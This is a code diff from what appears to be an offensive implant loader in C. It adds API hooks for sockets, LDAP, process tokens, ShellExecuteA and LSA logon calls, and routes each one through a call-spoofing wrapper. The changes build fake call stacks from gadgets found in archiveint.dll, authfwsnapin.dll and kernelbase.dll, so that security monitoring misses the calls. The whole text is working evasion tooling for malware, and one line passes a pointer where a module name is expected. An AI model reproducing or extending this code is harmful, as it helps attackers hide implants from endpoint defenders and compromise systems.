DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
// Custom added hooks
DECLSPEC_IMPORT int WSAAPI WS2_32$bind ( SOCKET, const struct sockaddr *, int );
DECLSPEC_IMPORT int WSAAPI WS2_32$connect ( SOCKET, const struct sockaddr *, int );
DECLSPEC_IMPORT int WSAAPI WS2_32$getaddrinfo ( const char *, const char *, const struct addrinfo *, struct addrinfo ** );
DECLSPEC_IMPORT int WSAAPI WS2_32$send ( SOCKET, const char *, int, int );
DECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket ( int, int, int );
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken ( HANDLE, DWORD, PHANDLE );
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation ( HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD );
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject ( HANDLE, DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentThread ( VOID );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess ( VOID );
DECLSPEC_IMPORT HINSTANCE WINAPI SHELL32$ShellExecuteA ( HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT );
DECLSPEC_IMPORT PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA ( PLDAP, const PSTR, ULONG, const PSTR, PZPSTR, ULONG, PLDAPControlA *, PLDAPControlA *, ULONG, ULONG, PLDAPSortKeyA * );
DECLSPEC_IMPORT ULONG LDAPAPI WLDAP32$ldap_bind_s ( LDAP *, const PSTR, const PCHAR, ULONG );
DECLSPEC_IMPORT LDAP *LDAPAPI WLDAP32$ldap_init ( PSTR, ULONG );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
// Have not been implemented as functions yet and have not yet #include the right header for types
DECLSPEC_IMPORT NTSTATUS NTAPI SECUR32$LsaRegisterLogonProcess ( PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE );
DECLSPEC_IMPORT NTSTATUS NTAPI SECUR32$LsaConnectUntrusted ( PHANDLE );
// cannot put this here because it fails to build
// to PIC when hooks.x64.o is merged into the loader
// extern MEMORY_LAYOUT g_memory;
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
{
@@ -72,6 +96,21 @@ HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName,
return ( HINTERNET ) spoof_call ( &call );
}
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$HttpSendRequestA );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( hRequest );
call.args [ 1 ] = spoof_arg ( lpszHeaders );
call.args [ 2 ] = spoof_arg ( dwHeadersLength );
call.args [ 3 ] = spoof_arg ( lpOptional );
call.args [ 4 ] = spoof_arg ( dwOptionalLength );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _CloseHandle ( HANDLE hObject )
{
FUNCTION_CALL call = { 0 };
@@ -195,7 +234,7 @@ HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( LoadLibraryA );
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( lpLibFileName );
@@ -418,3 +457,221 @@ BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID
return ( BOOL ) spoof_call ( &call );
}
ULONG LDAPAPI _ldap_bind_s ( LDAP * ld, const PSTR dn, const PCHAR cred, ULONG method )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WLDAP32$ldap_bind_s );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( ld );
call.args [ 1 ] = spoof_arg ( dn );
call.args [ 2 ] = spoof_arg ( cred );
call.args [ 3 ] = spoof_arg ( method );
return ( ULONG ) spoof_call ( &call );
}
LDAP * LDAPAPI _ldap_init ( PSTR HostName, ULONG PortNumber )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) WLDAP32$ldap_init;
call.argc = 2;
call.args [ 0 ] = spoof_arg ( HostName );
call.args [ 1 ] = spoof_arg ( PortNumber );
return ( LDAP * ) spoof_call ( &call );
}
// WS2_32 and WSOCK32 hooks
int WSAAPI _bind ( SOCKET s, const struct sockaddr * name, int namelen )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$bind );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( s );
call.args [ 1 ] = spoof_arg ( name );
call.args [ 2 ] = spoof_arg ( namelen );
return ( int ) spoof_call ( &call );
}
int WSAAPI _send ( SOCKET s, const char * buf, int len, int flags )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$send );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( s );
call.args [ 1 ] = spoof_arg ( buf );
call.args [ 2 ] = spoof_arg ( len );
call.args [ 3 ] = spoof_arg ( flags );
return ( int ) spoof_call ( &call );
}
SOCKET WSAAPI _socket ( int af, int type, int protocol )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$socket );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( af );
call.args [ 1 ] = spoof_arg ( type );
call.args [ 2 ] = spoof_arg ( protocol );
return ( SOCKET ) spoof_call ( &call );
}
PLDAPSearch LDAPAPI _ldap_search_init_pageA ( PLDAP ExternalHandle, const PSTR DistinguishedName, ULONG ScopeOfSearch, const PSTR SearchFilter, PZPSTR AttributeList, ULONG AttributesOnly, PLDAPControlA * ServerControls, PLDAPControlA * ClientControls, ULONG PageTimeLimit, ULONG TotalSizeLimit, PLDAPSortKeyA * SortKeys )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) WLDAP32$ldap_search_init_pageA;
call.argc = 11;
call.args [ 0 ] = spoof_arg ( ExternalHandle );
call.args [ 1 ] = spoof_arg ( DistinguishedName );
call.args [ 2 ] = spoof_arg ( ScopeOfSearch );
call.args [ 3 ] = spoof_arg ( SearchFilter );
call.args [ 4 ] = spoof_arg ( AttributeList );
call.args [ 5 ] = spoof_arg ( AttributesOnly );
call.args [ 6 ] = spoof_arg ( ServerControls );
call.args [ 7 ] = spoof_arg ( ClientControls );
call.args [ 8 ] = spoof_arg ( PageTimeLimit );
call.args [ 9 ] = spoof_arg ( TotalSizeLimit );
call.args [ 10 ] = spoof_arg ( SortKeys );
return ( PLDAPSearch ) spoof_call ( &call );
}
BOOL WINAPI _GetTokenInformation ( HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ADVAPI32$GetTokenInformation;
call.argc = 5;
call.args [ 0 ] = spoof_arg ( TokenHandle );
call.args [ 1 ] = spoof_arg ( TokenInformationClass );
call.args [ 2 ] = spoof_arg ( TokenInformation );
call.args [ 3 ] = spoof_arg ( TokenInformationLength );
call.args [ 4 ] = spoof_arg ( ReturnLength );
return ( BOOL ) spoof_call ( &call );
}
BOOL WINAPI _OpenProcessToken ( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ADVAPI32$OpenProcessToken;
call.argc = 3;
call.args [ 0 ] = spoof_arg ( ProcessHandle );
call.args [ 1 ] = spoof_arg ( DesiredAccess );
call.args [ 2 ] = spoof_arg ( TokenHandle );
return ( BOOL ) spoof_call ( &call );
}
HANDLE WINAPI _GetCurrentThread ( VOID )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) KERNEL32$GetCurrentThread;
call.argc = 0;
return ( HANDLE ) spoof_call ( &call );
}
HANDLE WINAPI _GetCurrentProcess ( VOID )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) KERNEL32$GetCurrentProcess;
call.argc = 0;
return ( HANDLE ) spoof_call ( &call );
}
DWORD WINAPI _WaitForSingleObject ( HANDLE hHandle, DWORD dwMilliseconds )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) KERNEL32$WaitForSingleObject;
call.argc = 2;
call.args [ 0 ] = spoof_arg ( hHandle );
call.args [ 1 ] = spoof_arg ( dwMilliseconds );
return ( DWORD ) spoof_call ( &call );
}
// SHELL32 hooks
HINSTANCE WINAPI _ShellExecuteA ( HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) SHELL32$ShellExecuteA;
call.argc = 6;
call.args [ 0 ] = spoof_arg ( hwnd );
call.args [ 1 ] = spoof_arg ( lpOperation );
call.args [ 2 ] = spoof_arg ( lpFile );
call.args [ 3 ] = spoof_arg ( lpParameters );
call.args [ 4 ] = spoof_arg ( lpDirectory );
call.args [ 5 ] = spoof_arg ( nShowCmd );
return ( HINSTANCE ) spoof_call ( &call );
}
// SECUR32 hooks
NTSTATUS NTAPI _LsaRegisterLogonProcess ( PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) SECUR32$LsaRegisterLogonProcess;
call.argc = 3;
call.args [ 0 ] = spoof_arg ( LogonProcessName );
call.args [ 1 ] = spoof_arg ( LsaHandle );
call.args [ 2 ] = spoof_arg ( SecurityMode );
return ( NTSTATUS ) spoof_call ( &call );
}
NTSTATUS NTAPI _LsaConnectUntrusted ( PHANDLE LsaHandle )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) SECUR32$LsaConnectUntrusted;
call.argc = 1;
call.args [ 0 ] = spoof_arg ( LsaHandle );
return ( NTSTATUS ) spoof_call ( &call );
}
// WS2_32 hooks
int WSAAPI _connect ( SOCKET s, const struct sockaddr * name, int namelen )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$connect );
call.argc = 3;
call.args [ 0 ] = spoof_arg ( s );
call.args [ 1 ] = spoof_arg ( name );
call.args [ 2 ] = spoof_arg ( namelen );
return ( int ) spoof_call ( &call );
}
int WSAAPI _getaddrinfo ( const char * nodename, const char * servname, const struct addrinfo * hints, struct addrinfo ** res )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WS2_32$getaddrinfo );
call.argc = 4;
call.args [ 0 ] = spoof_arg ( nodename );
call.args [ 1 ] = spoof_arg ( servname );
call.args [ 2 ] = spoof_arg ( hints );
call.args [ 3 ] = spoof_arg ( res );
return ( int ) spoof_call ( &call );
}
+1 -1
View File
@@ -2,7 +2,7 @@
typedef struct {
char data [ 4096 ];
char code [ 16384 ];
char code [ 24576 ];
} PICO;
typedef struct {
+117 -6
View File
@@ -95,7 +95,7 @@ extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOI
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame, PVOID gadget )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
@@ -108,7 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
frame->Gadget = gadget;
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
@@ -286,7 +286,63 @@ PVOID find_gadget( PVOID module )
found_gadgets = TRUE;
}
seed = 0x1337;
if ( counter == 0 ) {
return NULL;
}
seed = 0x7331;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
PVOID find_gadget_call( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
}
found_gadgets = TRUE;
}
if ( counter == 0 ) {
return NULL;
}
seed = 0x7331;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
@@ -305,7 +361,56 @@ ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PV
}
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
PVOID gadget_module = NULL;
PVOID test_gadget = NULL;
BOOL use_kernelbase_gadget = FALSE;
/* Try gadget modules in order until we find one with valid gadgets */
PVOID gadget1 = KERNEL32$GetModuleHandleA ( "archiveint.dll" );
if ( ! gadget1 ) {
gadget1 = LoadLibraryA ( "archiveint.dll" );
}
if ( gadget1 )
{
test_gadget = find_gadget_call ( gadget1 );
if ( test_gadget ) {
gadget_module = gadget1;
}
}
if ( ! gadget_module )
{
PVOID gadget2 = KERNEL32$GetModuleHandleA ( "authfwsnapin.dll" );
if ( ! gadget2 ) {
gadget2 = LoadLibraryA ( "authfwsnapin.dll" );
}
if ( gadget2 )
{
test_gadget = find_gadget_call ( gadget2 );
if ( test_gadget ) {
gadget_module = gadget2;
}
}
}
if ( ! gadget_module )
{
PVOID gadget3 = KERNEL32$GetModuleHandleA ( "kernelbase.dll" );
if ( gadget3 )
{
test_gadget = find_gadget ( gadget3 );
if ( test_gadget ) {
gadget_module = gadget3;
use_kernelbase_gadget = TRUE;
}
}
}
if ( ! gadget_module ) {
return ( ULONG_PTR ) ( NULL );
}
init_frame_info ( &frame, gadget_module );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
@@ -325,9 +430,15 @@ ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PV
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
/* Use find_gadget for kernelbase.dll, find_gadget_call for others */
if ( use_kernelbase_gadget ) {
draugr_params.Trampoline = find_gadget ( frame.Gadget );
} else {
draugr_params.Trampoline = find_gadget_call ( frame.Gadget );
}
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {
+2
View File
@@ -29,6 +29,8 @@ x64:
attach "KERNEL32$VirtualFree" "_VirtualFree"
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
preserve "KERNEL32$LoadLibraryA" "draugr_wrapper"
# mask & link the dll
generate $MASK 128
push $DLL
+1 -1
View File
@@ -2,7 +2,7 @@
typedef struct {
char data [ 4096 ];
char code [ 16384 ];
char code [ 20480 ];
} PICO;
typedef struct {
+118 -6
View File
@@ -95,7 +95,7 @@ extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOI
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame, PVOID gadget )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
@@ -108,7 +108,7 @@ void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
frame->Gadget = KERNEL32$GetModuleHandleA ( gadget );
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
@@ -285,8 +285,64 @@ PVOID find_gadget( PVOID module )
found_gadgets = TRUE;
}
if ( counter == 0 ) {
return NULL;
}
seed = 0x1337;
seed = 0x7331;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
PVOID find_gadget_call( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
}
found_gadgets = TRUE;
}
if ( counter == 0 ) {
return NULL;
}
seed = 0x7331;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
@@ -301,7 +357,57 @@ ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, P
DRAUGR_PARAMETERS draugr_params = { 0 };
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
PVOID gadget_module = NULL;
PVOID test_gadget = NULL;
BOOL use_kernelbase_gadget = FALSE;
/* Try gadget modules in order until we find one with valid gadgets */
PVOID gadget1 = KERNEL32$GetModuleHandleA ( "archiveint.dll" );
if ( ! gadget1 ) {
gadget1 = LoadLibraryA ( "archiveint.dll" );
}
if ( gadget1 )
{
test_gadget = find_gadget_call ( gadget1 );
if ( test_gadget ) {
gadget_module = gadget1;
}
}
if ( ! gadget_module )
{
PVOID gadget2 = KERNEL32$GetModuleHandleA ( "authfwsnapin.dll" );
if ( ! gadget2 ) {
gadget2 = LoadLibraryA ( "authfwsnapin.dll" );
}
if ( gadget2 )
{
test_gadget = find_gadget_call ( gadget2 );
if ( test_gadget ) {
gadget_module = gadget2;
}
}
}
if ( ! gadget_module )
{
PVOID gadget3 = KERNEL32$GetModuleHandleA ( "kernelbase.dll" );
if ( gadget3 )
{
test_gadget = find_gadget ( gadget3 );
if ( test_gadget ) {
gadget_module = gadget3;
use_kernelbase_gadget = TRUE;
}
}
}
if ( ! gadget_module ) {
return ( ULONG_PTR ) ( NULL );
}
init_frame_info ( &frame, gadget_module );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
@@ -321,9 +427,15 @@ ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, P
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
/* Use find_gadget for kernelbase.dll, find_gadget_call for others */
if ( use_kernelbase_gadget ) {
draugr_params.Trampoline = find_gadget ( frame.Gadget );
} else {
draugr_params.Trampoline = find_gadget_call ( frame.Gadget );
}
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {